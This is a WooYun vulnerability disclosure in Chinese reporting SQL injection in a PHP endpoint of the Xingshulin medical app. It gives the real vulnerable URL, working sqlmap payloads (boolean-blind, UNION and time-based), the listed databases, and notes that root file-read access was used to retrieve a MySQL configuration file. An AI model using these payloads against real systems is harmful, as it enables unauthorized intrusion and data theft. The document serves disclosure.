当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119032

漏洞标题:杏树林SQL注入漏洞导致服务器任意文件下载

相关厂商:杏树林

漏洞作者: IT P民

提交时间:2015-06-08 16:14

修复时间:2015-07-23 16:16

公开时间:2015-07-23 16:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

杏树林某APP URL SQL注入导致服务器任意文件下载。

详细说明:

打开杏树林病例夹APP抓个包,在杏树林的世界板块。有个url:
http://php.xingshulin.com/blog/php/get.php?id=65&act=get_one_article
打开 http://php.xingshulin.com/blog/php/get.php?id=65%27&act=get_one_article
显示
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /app/web/php/blog/php/get.php on line 22
PHP ERR get.php get_one_article sql执行失败
可判断这里未做过滤。
sqlmap 跑一下,发现有注入漏洞
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=65' AND 4465=4465 AND 'wwYq'='wwYq&act=get_one_article
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: id=-9140' UNION ALL SELECT CONCAT(0x7167757971,0x6a5453774753736d5766,0x7175787771),NULL,NULL,NULL,NULL,NULL#&act=get_one_article
列一下数据库:
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=65' AND SLEEP(5) AND 'rdxa'='rdxa&act=get_one_article
---
web application technology: Nginx, PHP 5.5.11
back-end DBMS: MySQL >= 5.0.0
available databases [11]:
[*] article
[*] article_bak
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
[*] ultrax
[*] xml
[*] xml_bak
[*] xsl_bbs
看了下,是root 用户,并且开启了读取文件系统的权限,取一个文件出来看一下~这是mysql 的配置文件

QQ20150608-1@2x.jpg


漏洞证明:

列一下数据库:
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=65' AND SLEEP(5) AND 'rdxa'='rdxa&act=get_one_article
---
web application technology: Nginx, PHP 5.5.11
back-end DBMS: MySQL >= 5.0.0
available databases [11]:
[*] article
[*] article_bak
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] test_db
[*] ultrax
[*] xml
[*] xml_bak
[*] xsl_bbs
看了下,是root 用户,并且开启了读取文件系统的权限,取一个文件出来看一下~这是mysql 的配置文件

QQ20150608-1@2x.jpg


修复方案:

技术人员更懂~

版权声明:转载请注明来源 IT P民@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)